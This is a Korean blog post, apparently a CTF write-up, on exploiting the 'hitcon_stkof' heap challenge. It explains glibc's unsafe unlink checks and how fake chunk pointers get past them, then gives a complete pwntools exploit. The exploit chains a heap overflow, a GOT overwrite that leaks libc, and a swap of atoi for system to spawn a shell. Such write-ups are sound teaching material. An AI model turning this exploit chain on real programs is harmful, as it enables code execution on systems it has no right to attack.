티스토리 뷰
처음 풀어보는 unsafe unlink
문제이다.
사실은... secret holder
를 풀려고했는데 unsafe unlink
기법도 익숙하지 않고, 한번도 해본적이 없기 때문에 연습삼아서 쉬운문제를 골랐당.
heap overflow
unsafe unlink
got overwrite
unsafe unlink
대충 fake chunk
로 unlink
매크로의 호출 루틴에서 여러 보호체크를 우회하고 전역변수에 존재하는 값을 조작하는 기법이다.
핵심은 fake chunk
를 두개 존재하게 한다는 것이다.
heap a, b
를 할당하고 전역변수 c
가 존재할때
heap a
속에다가fake chunk a-1
을 생성.fake chunk a-1
의fd
,bk
를 전역변수c
에fake chunk
형태에 맞추어서 설정b chunk
의prev size
와PREV_INUSE bit
를 조작a chunk
를freed chunk
형태로 맞추어 줌b chunk
를free
해주면 전역변수(Target addr
)에a-1 chunk
의fd
값이 적힌다.
쉽게 말해서 프로세스에게
a-1 chunk
와 전역변수c
가 서로linked
된chunk
이다.
라고 속이는 기법이다.
이는 경우에따라 바이너리에서 제공해주는 edit
혹은 free
, view
를 할때 aaw
, aar
가 가능하도록 한다.
memory corruption check
최대한 이론은 빼고, binary exploit
에 초점을 맞추어 작성하려고했지만, 이내용을 빼면 unsafe unlink
공부를 하는 것이 아니라고 생각이 되어서 넣는다...
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
unlink 함수 정의중 일부
우선 corruption check
를 두개를 하는데,
next chunk
의prev_size
와current chunk size
를 검사이를 우회하기 위해서
fake chunk
구조에prev size
와size
필드가0x0
값을 가지도록 한다.FD->bk != P || BK->fd != P
FD->bk != P || BK->fd != P
victim chunk
의fd
가 가르키는chunk
의bk
값이 본인(victim chunk
)이여야 함.victim chunk
의bk
가 가르키는chunk
의fd
값이 본인(victim chunk
)이여야 함.
unsafe unlink
기법에서는 해당 corruption check
를 우회하기 위해서 fd
에는 전역변수 - 0x18
,
bk
에는 전역변수 - 0x10
을 저장했다.
위와 같이 fake chunk
구조를 만들어 두면 unlink
과정에서 다음과 같은 모습으로 corruption check
를 통과한다.
FD->bk != P
를 검사할땐,fd chunk
의bk
값이 자기자신chunk
로 인식 되도록 함.
BK->fd != P
를 검사할땐,bk chunk
의fd
값이 자기자신chunk
로 인식 되도록 함.
이를 위해서 각각 -0x18
, -0x10
을 넣어준 것이다.
이론으로는 이해하기 엄~청 오래걸린다.
이해하려면 문서 몇개읽어보고 바로 문제풀어보면서 이해하는게 짱인듯 싶다.
바로 익스 하러가자.
reference
func
전형적인
heap chall
alloc func
-size
만큼malloc
만 해줌free func
- 원하는idx
를free
edit func
-idx
,size
,data
입력받음size
검사 안함 =>heap overflow
!!!
view? func
- 진짜 의미없는 함수중간에
strlen(input)
을 사용 =>got overwrite
libc leak
unsafe unlink
한뒤에 전역변수 테이블 우리가 맘대로 조작 가능 + edit
기능 있음
got overwrite
으로leak
할 수 있는거 암거나 덮기 + 알아서leak
~
Exploit code
더이상의 설명이 필요없다.
leak
이랑 unsafe unlink
도 설명했고, heap overflow
도 대놓고 있으니 익스 ㄱㄱ
from pwn import *
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recv()
def edit(idx, data):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(data)))
p.send(data)
p.recv()
def fr(idx):
p.sendline('3')
p.sendline(str(idx))
p.recv()
def view(idx):
p.sendline('4')
p.sendline(str(idx))
p = process('./hitcon_stkof')
e = ELF("./hitcon_stkof")
l = e.libc
puts_got = e.got['puts']
#context.log_level = 'debug'
ptr_s = 0x0000000000602140 + 0x10
alloc(0x80) # 1
alloc(0x80) # 2
alloc(0x80) # 3
fr(1)
pay = p64(0)*2
pay += p64(ptr_s - 0x18) + p64(ptr_s - 0x10)
pay = pay.ljust(0x80, "\x00")
pay += p64(0x80) + p64(0x90)
edit(2, pay)
fr(3)
pause()
pay = p64(0)*2
pay += p64(e.got['strlen'])
pay += p64(0x602148) # fflush var addr
pay += p64(e.got['atoi'])
edit(2, pay)
edit(1, p64(e.plt['puts']))
view(3)
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - l.sym['atoi']
log.info(hex(libc))
edit(3, p64(libc+l.sym['system']))
view('/bin/sh')
p.recv()
p.recv()
p.interactive()